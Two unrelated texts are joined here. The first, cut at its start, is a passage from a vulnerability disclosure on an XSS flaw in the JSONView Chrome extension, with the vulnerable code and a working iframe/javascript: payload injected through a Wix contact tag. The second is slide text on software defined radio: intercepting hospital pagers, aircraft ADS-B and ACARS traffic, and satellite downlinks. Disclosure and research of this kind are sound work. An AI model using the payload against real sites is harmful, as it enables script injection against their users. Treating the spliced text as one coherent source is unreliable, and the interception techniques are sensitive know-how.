​port.postmessage​. This is how the malicious input gets to the extension at first. content.js (content script): function formatToHTML(fnName, offset) { ... port.postMessage({ jsonToHTML : true, json : ​jsonText​, fnName : fnName, offset : offset }); As you can assume, in ​jsonText​ lies the text of the currently parsed page. 4 https://twitter.com/joevennix/status/570993550659166208?lang=en 5 https://github.com/gildas-lormeau/JSONView-for-Chrome/pull/76 The background script listens to these messages, and in turn sends them to a javascript worker that does the actual parsing. Background.js (background script): port.onMessage.addListener(function(msg) { var workerFormatter, workerJSONLint, json = msg.json; ... if (msg.jsonToHTML) { workerFormatter = new Worker("workerFormatter.js"); ... workerFormatter.postMessage({ json : ​json​, fnName : msg.fnName }); }} “workerFormatter” receives the message, containing the text to parse, and returns a formatted HTML version of the input json text. A closer look into workerFormatter.js, and the vulnerability is revealed: function valueToHTML(value) { var valueType = typeof value, output = ""; if (value == null) output += decorateWithSpan("null", "type-null"); ... else if (valueType == "string") if (/^(http|https):\/\/[^\s]+$/.test(value)) ​output += decorateWithSpan('"', "type-string") + '<a href="' ​+ value +​ '">' + htmlEncode(value) + '</a>' + decorateWithSpan('"', "type-string"); else output += decorateWithSpan('"' + value + '"', "type-string"); ... return output; } Finally, the page’s text lands in the “value” parameter of this function. In case it’s a string value containing a url, the text is concatenated insecurely with an ​<a href​ tag, resulting in code injection. Exploitation To exploit this one a creative approach is needed. The extension is vulnerable only to json files with a text MIME type. As a result, in order to exploit it, an attacker must somehow upload a text file to an attacked website, and lead victims to the uploaded page url. Another option is to manipulate websites’ self-created jsons, by entering the payload in fields that are used by the application to build these jsons. Example can be found in many websites, including Wix: In the Contacts page, if you change a “tag” name through the UI, the value is reflected in the response of an api endpoint, returning a json. This is how the “tags” api endpoint response usually looks like (with JSONView for the lovely formating): This practice of embedding user controlled values in json responses of api endpoints, is legit and very common in web applications. These api endpoints allow ajax scripts running on UI pages, to fetch data and build the content into the page. As you probably guessed, an attacker might add a crafted “tag” name in the UI: Payload in this example: http://\"><iframe/src='javascript:alert(String.fromCharCode(88,83,83, 32,111,110,32)+document.domain)'></iframe> With JSONView extension installed, a url to the “tags” api will lead now to XSS: JSONView styling for UXSS:
pdf
All Your RFz Are Belong to Me: Hacking the Wireless World with  Software Defined Radio Balint  Seeber balint@spench.net @spenchdotnet Notes and links in PDF comments on each slide Applications Engineer balint@ettus.com Overview • RF 101 • The journey into Software Defined Radio • Hospital pager systems • Tracking planes • Decoding satellite‐downlink traffic • Direction Finding The Electromagnetic  Spectrum • Electromagnetism: one of four  universal forces • Radio wave exists due to  energy being propagated at a  particular frequency • Can create and receive radio  waves using electronics Transmitting Data • Radio (carrier) wave must be modulated to  convey information Time Amplitude Transmitting Data • Radio (carrier) wave must be modulated to  convey information • OOK (On‐Off Keying) – Presence/absence of a signal • COFDM (Coded Orthogonal Frequency‐ Division Multiplexing) – WiFi, DVB, DAB, WiMAX, UWB, 4G, ADSL, PLC Transmitting Data Information Modulator Carrier RF Hardware AM & FM: In the Time Domain Analog or  digital information Constant  frequency Constant  amplitude In the Frequency Domain Time Amplitude for  each frequency Frequency Modulation • Modulation technique defines how the signal  will look on the spectrum AM FM C4FM Time Frequency Frequency Carrier Time Frequency Hardware • Crystal set receiver – Powerful AM transmissions Hardware • Crystal set receiver – Powerful AM transmissions Hardware • Crystal set receiver – Powerful AM transmissions • More advanced hardware to handle  increasingly complex modulation schemes – FM, stereo FM, microwave, digital… Modulation in Hardware • MOdulation and  DE‐Modulation traditionally  performed in hardware • ‘Black box’ implementation – Not re‐configurable • Modern digital hardware allows more  flexibility Radyne Comstream  DMD‐15 Satellite Modem The journey begins… Genesis of RFMap GSM + Gammu + Wireshark Field Test Mode <1983> MDI:d2m/RSSI_RESULTS t=0afe nr=73: D 83: 00 00 b1 b1 00 65 ab a3 b1 a0 a0 a6 9d a1 80 a4 80 80 80 80 80 80 80 aa  Geolocation with GSM RFNetMapper Determine accuracy by comparing to ground truth: where are the base stations? ACMA RadCom Web Interface Enter RFMap… The RFMap web interface All sites, point‐to‐point links & elevation data Registered TX Sites Registered TX Sites Registered TX Sites NASA SRTM  Elevation Data Site details: frequency assignments Antenna radiation pattern* Antenna Radiation Envelope Radiation Heatmap Amateur Radio  Operators (HAMs) Most popular sites Defence & ECHELON “Joint Space Defence Research” Upset ADIRU of QF68/71/72 & JQ7 ? Side note Bolivia The Mystery Signal Rate at which ‘messages’ were transmitted  varied throughout the day: correlates with increased daytime activity. Received RF signal  audio  sampled by soundcard  streamed across network Step One: Look at the signal Radio is already set to receive N‐FM (narrowband frequency modulated signal) Signal in the time domain (voltage vs. time): Signal in the frequency domain (intensity of frequency bins vs. time): IT’S SLICER TIME! Preamble Payload AudioDataDecoder Running state of decoder Untrained Preamble Payload Frequency analysis (FFT) of signal: Two frequencies of interest Step Two: FFT of 2FSK  Bitstream • Lock on two frequencies (Frequency Shift Keying) • Sample intensity of each at regular interval (baud rate) • Pick which is the strongest: low = 0 bit, high = 1 bit Step Three: Data  Information • The most difficult part, so try all combinations Wikipedia says: POCSAG! • “Post Office Code Standardization Advisory Group” • Standard decoding software didn’t work • Key: recognisable sequence of bits when idle Look for known codewords/repeated bit strings Hospital Pager Systems • High power, better penetration than mobiles • Personnel carry small pagers, each with ID  mapped to Radio Identity Code • Mostly numeric pages with phone extension • Sent via software on any computer at hospital • Address to multiple recipients, automatically  sent to each once • Delivery not guaranteed Frequencies • Shared frequency: 148.1375 MHz (standard) • Private systems in 800/900MHz band: Non‐standard FSK ignored by decoders ‘Testing’ On RFMap Sydney West Area Health Service North Shore Gosford Prince of Wales: 38, etc. Hospital ID Postfix Sensitive Information Image by Oscar De Lellis AviationMapper 590 km/h 10706 ft YSSY  YMML YSSY  YMML ATCRBS, PSP & SSR • Air Traffic Control Radar Beacon System – Primary Surveillance Radar – Secondary Surveillance Radar Primary: • Traditional RADAR • ‘Paints skins’ and listens for return • Identifies and tracks primary targets,  while ignoring ‘ground clutter’ • Range limited by RADAR equation (   ) 4 1 d ATCRBS, PSP & SSR • Air Traffic Control Radar Beacon System – Primary Surveillance Radar – Secondary Surveillance Radar Secondary: • Directional radio • Requires transponder • Interrogates transponders, which  reply with squawk code, altitude, etc. • Increased range (   ) 2 1 d The Modes • A: reply with squawk code • C: reply with altitude • S: enables Automatic Dependant Surveillance‐ Broadcast (ADS‐B), and the Aircraft/Traffic  Collision Avoidance System (ACAS/TCAS) • Mode S not part of ATCRBS, but uses same  radio hardware (same frequencies) – Increasing problem of channel congestion SSR The Modes • A: reply with squawk code • C: reply with altitude • S: enables Automatic Dependant Surveillance‐ Broadcast (ADS‐B), and the Aircraft/Traffic  Collision Avoidance System (ACAS/TCAS) SSR ADS‐B Position Heading Altitude Vertical rate Flight ID Squawk code ATC Mode S TX/RX: Linked to ATC (can be at airport, or remote) Uplink: “All call” / Altitude request Downlink: Airframe ID / Altitude response (air‐to‐ground) ACAS/TCAS Altitude response (air‐to‐air) Altitude request “PULL UP” “TRAFFIC” Mode S sites Uplink: 1.03 GHz Downlink: 1.09 GHz Mode S sites Uplink: 1.03 GHz Downlink: 1.09 GHz Response Encoding • Data block is created & bits control position of  pulses sent by transmitter Pulse Position Modulation (AM) Early chip Late chip Used to differentiate against other Modes Pulse Position Modulation • Pulse lasts 0.0000005 seconds (0.5 µs) • Need to sample signal at a minimum of 2 MHz  (assuming you start sampling at precisely the  right moment and stay synchronised) • Requires high‐bandwidth hardware and  increased processing power • Ideally, oversample to increase accuracy Enter Software Defined Radio… SDR: Digitise the baseband • Hardware is sophisticated, but purpose is  simple: capture a chunk of the RF spectrum  and stream it to your computer • Computer is responsible for doing something  useful with baseband data • Instead of designing RF hardware, write it in  software! • Increased complexity/bandwidth requires  more CPU power (pretty cheap) Software Defined Radio • Hardware  software representation – Completely re‐configurable – Only RF front‐end kept as hardware 2 2 I + Q Software Defined Radio • Hardware  software representation – Completely re‐configurable – Only RF front‐end kept as hardware Information Baseband  de‐modulator Carrier RF Hardware Software Software Defined Radio • Hardware  software representation – Completely re‐configurable – Only RF front‐end kept as hardware • Continuous process  discrete & quantised – Digital sampling produces voltage levels  7, 9, 11, 12, 13, 14, 14, 15, 15,  15, 14, 14, 13, 12, 10, 9, 7, … DAC ADC Sampling • Nyquist‐Shannon Sampling Theorem: – “Sample at twice the highest required frequency” – Avoid aliasing of signal Sampling • Nyquist‐Shannon Sampling Theorem: – “Sample at twice the highest required frequency” – Avoid aliasing of signal • Analog‐to‐Digital Converter (RX) • Digital‐to‐Analog Converter (TX) 7, 9, 11, 12, 13, 14, 14, 15, 15,  15, 14, 14, 13, 12, 10, 9, 7, … ADC DAC Sampling • Nyquist‐Shannon Sampling Theorem: – “Sample at twice the highest required frequency” – Avoid aliasing of signal • Analog‐to‐Digital Converter (RX) • Digital‐to‐Analog Converter (TX) • ADC/DAC rate determines bandwidth* Reception • RF front‐end down‐converts signal to  baseband – Zero IF receiver • Sample & quantise baseband signal • Simple approach would be to sample voltage  level (amplitude) – Sound card Real vs. Analytic Signals • Real signal: – Amplitude for each sample – One ‘real’ number • Analytic signal: – Amplitude and phase – ‘Real’ and ‘imaginary’ components (negative  frequency) – Encode more information Quadrature Modulation • Analytic signals can be sampled by having two  ADCs • Baseband must first be separated into  quadrature components (real and imaginary  parts) • Mix baseband with: – In‐phase local oscillator (I channel) – Quadrature‐phase LO (Q channel) Sample Rate • Analytic signal has two components – I & Q samples per sample time • Negative frequency – Double the bandwidth • Re‐apply Shannon’s sampling theorem: – Sampling rate directly determines bandwidth • Produce a stream of complex stream (I/Q  samples pairs) at sample rate SDR (De‐)modulation • Complex stream passed through mathematical  functions and state machines The Universal Software Radio Peripheral (USRP 1) Sample rate = bandwidth 0.25 ‐ 16 MHz With WBX daughterboard: RX/TX: 50 MHz ‐ 2.2 GHz The FUNcube Dongle RTL Host Software • Receive/transmit baseband samples – Analyse & display – (De‐)modulate – Encode/decode (extract information) • Well‐known platforms/programs: – LabVIEW – MATLAB Simulink Open source? No. GNU Radio • Open source signal processing toolkit • Data flow paradigm – Signals flow from sources to sinks • Intermediary blocks operate on signals – Sources & sinks: USRP, sound card, file, network – Visualisation: FFT, waterfall, scope – Signal types: complex, float, integers – Filters: traditional building blocks used in analog and  digital RF hardware • Completely extensible (Python: high level, C++:  grunt) GNU Radio Companion 2G GSM Waterfall 8 MHz wide (8 Msps) Broadcast  control channel Traffic channel CDMA Detection with GRC Find repeating  patterns buried  within a signal Visualise intensity  of frequency  components  over time Visualise  instantaneous frequency spectrum 2.1 GHz 3G 850 MHz NextG L1 GPS 3G W‐CDMA Signature of UMTS: repeating data in CPICH at 10 ms intervals No apparent signal Cyclic 1023 bit code @ 1.023 MHz chip rate 1 ms TETRA Frequency correction burst Repeating idle pattern TETRA π/4 DQPSK  USRP out and about Amateur Digital Modes The Entire HAM Band Stereo FM with RDS: Receiver Stereo FM with RDS: Transmitter Sequential  Scanning Parallel Decoding Parallel Decoding: 1 Parallel Decoding: N OpenBTS • Open‐source 2G GSM stack – Asterix softswitch (PBX) – VoIP backhaul 802.11agp decoding • 10/20 MHz OFDM • gr‐ieee‐802‐11 • BPSK & QPSK Other Applications of SDR • Radio astronomy • Passive radar • DVB‐S decoder • Tracking pedestrian foot traffic in  shopping malls • Much more… Mode S Waterfall Time Domain Preamble Frame Time Domain Preamble Frame Data bits from early/late chips Starting Points • gr‐air by Eric Cottrell – Separates processing into several different GR blocks  which detect/decode: 1. Pulses 2. Mode S preamble 3. Frame length 4. PPM chips/bits • gr‐air‐modes by Nick Foster – Less complex (fewer steps)  better performance – Less overhead by using PMTs instead of passing state  structs as ‘samples’ through GR runtime Mode S Response: AM signal Preamble Payload Decoder visualisation Mode S Decoder Structure Frame parser Error correction Sanity check Pulse detect Preamble detect Frame  length  detect PPM demod …,0,1,… Mode S Frame Types • Several Downlink Formats (DF) – Short/long frames (56/112 bits) • Contains Airframe Address (AA) – 24‐bit transponder address allocated by ICAO • Appended CRC – ‘Normal’ mode (syndrome = 0) – Address overlaid mode (syndrome = AA) • DF 11: All call, 5/20: Identity (squawk code),  0/4/16/20: Altitude… ADS‐B: Extended Squitter • Several ES types (DF 17): – Standard: position, altitude, heading, vertical rate,  flight ID, transponder code – System information – Aircraft capabilities/status (e.g. autopilot enabled) – Aircraft intent – Traffic information – TCAS resolution advisories (“Pull up!”) Making use of ADS‐B data Making use of ADS‐B data Making use of ADS‐B data Making use of ADS‐B data AviationMapper • Connects to Mode S decoder server • Tracks & plots airframes, collects statistics • Provides state server for web streaming Live, smooth web  streaming in… Modez Mk I Modez Mk IIpoint5 Modez Mk III Ground vehicle with Mode S!  (inspecting perimeter?) Next Level Modez BorIP • Allows USRP 1 and computer to be separated  by LAN – Control radio via TCP – Stream baseband via UDP • Seamless drop‐in for GR – If it can’t find a local device, try remote – Everything just works (USRP Source, GR, etc) BorIP • Allows USRP 1 and computer to be separated  by LAN – Control radio via TCP – Stream baseband via UDP • Seamless drop‐in for GR – If it can’t find a local device, try remote – Everything just works (USRP Source, GR, etc) Antenna to Google Earth Capture & Control (USRP) Mode S Decoder (GR) Tracking (AvMap) Web App Gateway Web Client  (Google Earth) TCP Server JSON Server HTTP AJAX BorIP Modez Evolution • Goal is to increase SNR – Increase gain: tuned antenna – Drop noise floor: front‐end filter (GSM is nearby)  & optimal sample rate to avoid artifacts (spurs) Signal Strength Distribution • Evaluate how well decoder is doing SNR vs. Gain Change USRP/WBX gain Make use of fixed (ground) transponders Noise floor Strength vs. Distance Altitude vs. Distance Helps to live close to the airport Strength vs. Altitude ACARS • Aircraft Communication and Reporting System • ‘Text messaging’ for aircraft • Wide‐reaching network – VHF ground stations – HF datalink – SATCOM • Manual and automated messages between: – Cockpit, ATC, airline ops & airport ground staff – Avionics/engines, airline maintenance & equipment  (engine) manufactures Streaming • Listening to  primary &  secondary  frequencies • Decoded,  combined,  JSON‐ified &  served AM ACARS burst Examples Time: 2011-11-16 09:12:24.073000 Station: Home Frequency: 131.55 MHz Mode: s (uplink, LCN: 19) Address: 9M-MPO Ack: NAK Label: 31: Airline Defined Message Block: W S 1. TOILET CC1-INOP 2. ROW 30-31 DEFG-CARPET FLOOR VERY WET 2. GALLEY 3-CART LIFT FLOODED Examples Time: 2011-11-16 09:49:00.255000 Station: Home Frequency: 131.45 MHz Mode: 2 (either) Address: VN-A375 Ack: NAK Label: H1: System and engineering data (downlink) Block: 4 Message #: C12A Flight ID: VN0773 #CFB.1/MPF/ANVN-A375/FIHVN773 /DM111115224900NOV1514042244PFR1/DAVVTS/DSYSSY/FR383141VSC 1,,,,,,,LAV 37,HARD,140505;237346CIDS1 1,,,,,,,DEU A (200RH2),HARD,140505;383141VSC 1,,,,,,,LAV 53,HARD,174906; Examples Time: 2011-11-16 09:49:06.844000 Station: Home Frequency: 131.45 MHz Mode: 2 (either) Address: VN-A375 Ack: NAK Label: H1: System and engineering data (downlink) Block: 5 Message #: C12B Flight ID: VN0773 #CFB383141VSC 1,,,,,,,LAV 61,HARD,202806;344137WXR2 1,,,,,,,WXR MOUNTING TRAY (5SQ),INTERMITTENT,203506,EOR HFDL PC‐HFDL What about no ADS‐B? • No position reports • Signal is high bandwidth • Multiple remote USRPs can be sync’d with  GPSDO • Perform multilateration on non‐ADS‐B (‘plain  old’ Mode S) • Calculate position from TDOA Blind Signal Analysis Recap • Lots of different types of satellites • Variables: – Purpose: comms, weather, MIL, amateur – Payload: transponders, cameras/sensors – Orbit: Low Earth Orbit, geostationary (geosync) – Frequencies: uplink, downlink, beacon, command • Two categories: – Intelligent: communication with on‐board systems – Dumb: relay information with linear transponders Wide‐area re‐broadcast • RF megaphone (e.g. satellite TV) • Single dish sends beam on uplink to satellite Wide‐area re‐broadcast • RF megaphone (e.g. satellite TV) • Single dish sends beam on uplink to satellite • Linear transponder shifts raw RF to downlink  frequency, re‐transmitted via spot beams Wide‐area re‐broadcast • RF megaphone (e.g. satellite TV) • Single dish sends beam on uplink to satellite • Linear transponder shifts raw RF to downlink  frequency, re‐transmitted via spot beams • Cover any entire country Wide‐area re‐broadcast • RF megaphone (e.g. satellite TV) • Single dish sends beam on uplink to satellite • Linear transponder shifts raw RF to downlink  frequency, re‐transmitted via spot beams • Cover any entire country • Linear transponders are dumb: re‐broadcast  anything onto coverage area TT&C and UPC • Telemetry, Tracking and Command • Need to be able to send commands to satellite – Change payload configuration • Multiplexing • Switch between redundant systems • Orbit • Check on health of satellite/payload – Beacon + telemetry • Measure affect of weather (combat rain fade) – Uplink Power Control – Turn up transmitter power (keep at min. = save $$$) Optus D1 • 24 Ku band transponders – Multiplexed spot beams service Aus and NZ – Uplink: 14.0 ‐ 14.5 GHz – Downlink: 12.25 ‐ 12.75 GHz – Bandwidth: 54 MHz • Mainly TV (wideband DVB‐S) – ABC, SBS, Se7en, Nin9, SkyNZ • Some other (narrowband) things… FNA Beam Coverage Effective Isotropic Radiated Power (EIRP) D1 Channel Frequencies Uplink Downlink Optus Earth Station Belrose, Sydney Spot the  satellite  modem Radyne Comstream  Satellite Modem  DMD‐15 Digital Tracking Receiver Antenna Control System Redundant System Controller C1 UPC What you need Dish + LNB + power injector + USRP + GNU Radio (set‐top box with LNB‐thru) Low Noise Block down‐converter Subtract 11.3 GHz from downlink frequency: 950 ‐ 1450 MHz D1 TLM1: 12243.25 MHz Mirror of RHS* Beacon with Phase Modulation* (PM): 1PPS and two telemetry streams (sidebands) Constant carrier power* TLM sidebands Constant  sub‐carrier 1PPS Visualisation PSK Debug Output Data Streams • All sorts of continuous streams of varying  bandwidth • Streams created by manipulating raw data to  optimise for transmission over long distance • Receiver must be able to lock on and decode Modulation: pick your parameters Support multiple data streams, drop‐and‐insert Make data appear random (increase entropy of structured data) Encode changes in data (receiver can be non‐coherent) Protect integrity of data (corruption from noise on channel) Turn binary into symbols for baseband RF (0/1  combinations of waves) Create signal  suitable for uplink Demodulation: easy when you know Are there multiple streams? How are they multiplexed? Possible to determine if it is scrambled (calculate stats), but what is the scrambler? Is it additive or multiplicative? How is it synchronised? Is it differential, or  what defines a 0/1? Which FEC(s) is used? Is it a concatenated code? What is the code rate? What is the block size? How is it synchronised? What is the modulation? Symbol rate? Require coherence? What is the phase difference? Need to conjugate complex plane? If you don’t know… • Try the most common/default options (RTFMM): – Modulation: Phase Shift Keying (BPSK, QPSK) – Convolutional code: NASA, K=7 (Voyager Probe) – Scrambler: IESS‐803 (Intelsat Business Service) • Still need to try each combination of: – Differential decoding, synchronisation offset, symbol  mapping • Best option is to try every permutation  automatically • Assuming decent SNR, low Bit Error Rate is an  indicator you’re heading the right way! Aside: PSK, Symbols & Bits • PSK uses changes in phase of a signal (carrier) to  convey data • Demodulator detects phase changes and outputs  symbols • Order of PSK determines # bits in 1 symbol – Many bits/symbol thanks to imaginary numbers (I/Q) • Raw bit rate = symbol rate x (# bits/symbol) – Binary PSK (BPSK): 1 bit/symbol – Quaternary PSK (QPSK): 2 bits/symbol – 8PSK: 3 bits/symbol, etc… Determining modulation & rate • Assuming PSK, easy to determine: – Modulation order: multiply the signal by itself – Symbol rate: multiply the signal by a lagged  version of itself (cyclostationary analysis) • Only a few GR blocks required do this Let’s try one… • Feed entire baseband spectrum into GR • Perform ‘channel selection’ to isolate stream of interest  (create new baseband  centred on stream) Determine PSK order • Start at 2 and go up • Stop when spike appears Determine PSK order • Start at 2 and go up • Stop when spike appears QPSK: 2 bits/symbol Determine Symbol Rate • Find first peak 9.6 kHz = 9600 symbols/sec Try synchronisation & FEC Try synchronisation & FEC FEC Rate: ½ Not differential No phase shift (depends on when you  switch on receiver) Find Precise Symbol Rate Creating Auto-FEC: sample_rate: 800000 ber_threshold: 2048 ber_smoothing: 0.01 ber_duration: 8192 ber_sample_decimation: 1 settling_period: 4096 pre_lock_duration: 8192 De-puncturer relative rate: 1.000000 ==> Using throttle at sample rate: 800000 ==> Using lock throttle rate: 50000 Auto-FEC thread started: Thread-1 Skipping initial samples while MPSK receiver locks: 4096 Reached excess BER limit: 11437.1352901 , locked: False , current puncture matrix: 0 , total samples received: 12289 Applying lock value: 0 Beginning search... Applying rotation: 1j Reached excess BER limit: 11870.4144919 , locked: False , current puncture matrix: 0 , total samples received: 24586 Applying rotation: 1 Applying conjugation: 0 Locking current XForm ========================================================= FEC locked: 1/2 ========================================================= Applying lock value: 1 Auto FEC Demodulated & error‐corrected • Symbol rate = 9600 symbols/sec • Pre‐FEC raw bit rate = 19200 bits/sec • Post‐FEC raw bit rate = 9600 bits/sec (½ rate) • Visualise data: look for additional clues – Differential encoding – Scrambling – Structure QPSK Phase Debug Visualisation • Raw data (0: black, 1: white) Descrambling time! De‐scrambled • Better, but long runs of 0s and 1s (not ideal) Differential decoding time! Diff. decoded & de‐scrambled • Structured, asynchronous packets of data! Repeating structure Pattern Search • Search for repeating  strings of bits • Try to find frame header • Clue: sudden increase in  # of occurrences Preceding 1s are just part of ‘idle’  stream when no data is being sent Frame analysis • Header – SYN SYN SYN (EBCDIC) • Character‐oriented encoding: – SOH – STX – ETX – CRC (CCITT‐16) • Numbers of fixed‐length messages – Each contains an ID Un‐pack & find patterns 0001 [20 049 200] (1/1) ff 18 80 70 01 24 e9 ae ed 26 1a 07 31 90 19 fa 00 00 03 02 00 72 e9 2e 0034 [20 051 161] (1/1) ff 18 80 70 01 24 e9 c7 ed 24 1a 07 31 90 19 fa 00 00 03 02 00 72 e9 2d 0067 [20 053 121] (1/1) ff 18 80 70 01 24 e9 d9 ed 2c 1a 07 31 90 19 fa 00 00 03 02 00 71 e9 2d 0101 [20 055 082] (1/1) ff 18 80 70 01 24 e9 ee ed 2f 1a 07 31 90 19 fa 00 00 03 02 00 71 e9 2d 0134 [20 057 043] (1/1) ff 18 80 70 01 24 e9 ff ed 36 1a 07 31 90 19 fa 00 00 03 03 00 72 e9 2e 0167 [20 059 004] (1/1) ff 18 80 70 01 24 ea 10 ed 40 1a 07 31 90 19 fa 00 00 03 02 00 72 e9 2d 0200 [20 060 221] (1/1) ff 18 80 70 01 24 ea 24 ed 43 1a 07 31 90 19 fa 00 00 03 02 00 73 e9 2d 0233 [20 062 182] (1/1) ff 18 80 70 01 24 ea 3b ed 44 1a 07 31 90 19 fa 00 00 03 02 00 72 e9 2d 0266 [20 064 142] (1/1) ff 18 80 70 01 24 ea 4d ed 4c 1a 07 31 90 19 fa 00 00 03 03 00 74 e9 2c 0299 [20 066 103] (1/1) ff 18 80 70 01 24 ea 62 ed 4f 1a 07 31 90 19 fa 00 00 03 03 00 71 e9 2c 0332 [20 068 064] (1/1) ff 18 80 70 01 24 ea 75 ed 54 1a 07 31 90 19 fa 00 00 03 04 00 70 e9 2c 0365 [20 070 025] (1/1) ff 18 80 70 01 24 ea 80 ed 62 1a 07 31 90 19 fa 00 00 03 03 00 6d e9 2d 0398 [20 071 242] (1/1) ff 18 80 70 01 24 ea 98 ed 64 1a 07 31 90 19 fa 00 00 03 02 00 6b e9 2d 0431 [20 073 203] (1/1) ff 18 80 70 01 24 ea a7 ed 6e 1a 08 31 90 19 fa 00 00 03 00 00 6c e9 2d 0464 [20 075 164] (1/1) ff 18 80 70 01 24 ea bc ed 71 1a 08 31 90 19 fa 00 00 03 00 00 6c e9 2d 0497 [20 077 125] (1/1) ff 18 80 70 01 24 ea cf ed 76 1a 08 31 90 19 fa 00 00 02 99 00 6d e9 2d 0530 [20 079 086] (1/1) ff 18 80 70 01 24 ea e8 ed 76 1a 08 31 90 19 fa 00 00 03 00 00 6b e9 2b 0563 [20 081 047] (1/1) ff 18 80 70 01 24 ea f7 ed 80 1a 08 31 90 19 fa 00 00 03 01 00 69 e9 2b 0596 [20 083 008] (1/1) ff 18 80 70 01 24 eb 06 ed 8a 1a 08 31 90 19 fa 00 00 03 01 00 66 e9 2b 0630 [20 084 225] (1/1) ff 18 80 70 01 24 eb 1b ed 8e 1a 08 31 90 19 fa 00 00 03 01 00 67 e9 2b 0663 [20 086 187] (1/1) ff 18 80 70 01 24 eb 30 ed 92 1a 08 31 90 19 fa 00 00 03 01 00 6a e9 2c 0696 [20 088 148] (1/1) ff 18 80 70 01 24 eb 45 ed 95 1a 08 31 90 19 fa 00 00 03 01 00 70 e9 2c 0729 [20 090 109] (1/1) ff 18 80 70 01 24 eb 59 ed 99 1a 08 31 90 19 fa 00 00 03 03 00 73 e9 2c 0762 [20 092 069] (1/1) ff 18 80 70 01 24 eb 6b ed a1 1a 08 31 90 19 fa 00 00 03 03 00 75 e9 2b 0795 [20 094 030] (1/1) ff 18 80 70 01 24 eb 7b ed a9 1a 08 31 90 19 fa 00 00 03 03 00 76 e9 2b 0828 [20 095 247] (1/1) ff 18 80 70 01 24 eb 8e ed af 1a 08 31 90 19 fa 00 00 03 03 00 75 e9 2b 0861 [20 097 208] (1/1) ff 18 80 70 01 24 eb a2 ed b3 1a 08 31 90 19 fa 00 00 03 02 00 74 e9 2b 0894 [20 099 169] (1/1) ff 18 80 70 01 24 eb b7 ed b6 1a 08 31 90 19 fa 00 00 03 03 00 72 e9 2b 0927 [20 101 130] (1/1) ff 18 80 70 01 24 eb ca ed bd 1a 08 31 90 19 fa 00 00 03 03 00 71 e9 2b 0960 [20 103 091] (1/1) ff 18 80 70 01 24 eb da ed c4 1a 08 31 90 19 fa 00 00 03 03 00 70 e9 2b 0993 [20 105 052] (1/1) ff 18 80 70 01 24 eb ef ed c9 1a 08 31 90 19 fa 00 00 03 03 00 70 e9 2b 1026 [20 107 013] (1/1) ff 18 80 70 01 24 ec 03 ed cd 1a 08 31 90 19 fa 00 00 03 03 00 71 e9 2b # Message header 16‐bit signed BCD 8‐bit signed Graphing the Data 1540 1560 1580 1600 1620 1640 1660 ‐980 ‐970 ‐960 ‐950 ‐940 ‐930 ‐920 ‐8 ‐6 ‐4 ‐2 0 2 4 6 0 5 10 15 20 25 30 35 0 20 40 60 80 100 120 0 5 10 15 20 25 30 35 Graphing the Data 4275 4280 4285 4290 4295 4300 4305 4310 4315 4320 ‐1700 ‐1650 ‐1600 ‐1550 ‐1500 ‐1450 ‐1400 ‐1350 11.5 12 12.5 13 13.5 14 14.5 0 5 10 15 20 25 30 35 138 140 142 144 146 148 150 152 154 156 0 5 10 15 20 25 30 35 STANAG 4285 STANAG 4285 2400 baud 80 (preamble) + 4 x 32 (data) + 3 x 16 (channel probe) @ 2400 bps = 106.66 ms Digital Radio Mondiale Cyclic Autocorrelation Function Un‐guarded  symbol time Total symbol  periodicity Han, Sohn & Moung,"A Blind OFDM Detection and Identification Method  Based on Cyclostationarity for Cognitive Radio Application" Un‐guarded Symbol Time 21.33 ms Total Symbol Duration ~37.48 Hz = 26.6 ms Top‐down DRM Symmetry DRM Class B Modulation property  Value  Un‐guarded symbol time  21.33 ms  Sub‐carrier spacing  46 7/8 Hz  Guard interval  5.33 ms  Total symbol duration  26.66 ms  Guard interval ratio  1/4  Symbols per frame  15  1 / (21.33 ms) 21.33 ms (1 Msps / 50) x 21.33ms = 426.6 26.66 ms “DUFF DUFF” Software Defined Radio Direction Finding DF Usage • Radio navigation – Predecessor to RADAR • SIGINT • Emergency aid – Avalanche rescue • Wildlife tracking • Reconnaissance – Trajectory tracking • Sport?! Rotatable loop antenna History • WW I & II – Y‐stations along the  British coastline – Find bearing to  U‐boats in Atlantic – ‘U‐Adcock’ system • Four 10m high vertical  aerials around hut      • DF goniometer  (angle measurement) &  radio DF for HF • HF: 3‐30 MHz – long wavelengths  large distances • HF/DF = “HUFF DUFF!” • Used for SIGINT • Large installations: AN/FLR‐9 array near  Augsburg, Germany  Amateur RDF • ‘Fox hunts’ • Competitor on  ‘2‐meter band’  ARDF course Highly‐directional Yagi antenna Crazy‐serious German HAM (Pseudo‐) Doppler DF • Exploit Doppler shifting of radio waves caused  by motion of an antenna • Measure the shift in detected signal Determine direction of transmission Recap: Doppler Effect Aside: Siren Misconception “…the observed frequency increases as the  object approaches an observer and then  decreases only as the object passes the  observer.” “…Higher sound pressure levels make for a  small decrease in perceived pitch in low  frequency sounds, and for a small increase in  perceived pitch for high frequency sounds.” A Swan Doppler Effect Cosmological Redshift Expansion of space, not motion of radiating object! Frequency Modulation 101 Analog or digital Information to  be transmitted ‘Main’  transmission  frequency (e.g. 105.7 MHz) Frequency modulation changes the carrier’s frequency Moves the carrier slightly left/right of its  original position on frequency plot Physically Rotated Antenna Joseph Moell, “Transmitter Hunting: Radio Direction  Finding Simplified”, 1987 (McGraw‐Hill) Doppler Shift • Doppler shift of received signal used to  calculate angle of transmitter • Easy with an FM radio! • Frequency Modulation: – Shifts the centre (carrier) frequency about based  on the original modulating signal – Doppler shift just moves it around some more • FM receiver detects Doppler as an extra tone! Extra tone: sine wave http://silcom.com/~pelican2/PicoDopp/ABOUT_DOPP.html Mechanical Rotation Rate • Doppler equation relates: – Doppler shift – Radius of antenna – Angular velocity (rotation rate) – Frequency of signal • For a small antenna setup tuned to 2m  wavelength (~150 MHz), requires: 38600 RPM ~643 rot/sec Pseudo‐Doppler • Array of fixed antennas • Switch electronically between them – ‘Simulate’ physical rotation Electronically Rotated Antenna Home‐made RDF • ‘Roanoke Doppler’ • Four antennas • Control box • Plug in any standard  FM radio • LEDs indicate direction Joseph Moell, “Transmitter Hunting: Radio Direction Finding Simplified”, 1987 (McGraw‐Hill) Block Diagram Circuit Diagram Mobile Roanoke Time to go colour… Software Defined RDF Do it in software! Software Defined RDF Antenna  Array Antenna Switch FPGA Modification Use USRP clock control antenna array Map sample counter’s  bits to unused GPIO Modification Bonuses • Using FPGA clock ensures antenna switching is  in lockstep with samples arriving at host – Same clock domain  host‐side ‘just works’ – Use host‐generated sine wave as reference • FPGA’s sample counter begins at zero for each  stream start – Calibrate array orientation just once Receiver Processing & Display Switching affecting spectrum Signal Processing Tricks • Only need to know: 1. Sample rate (FPGA clock / decimation) 2. Which 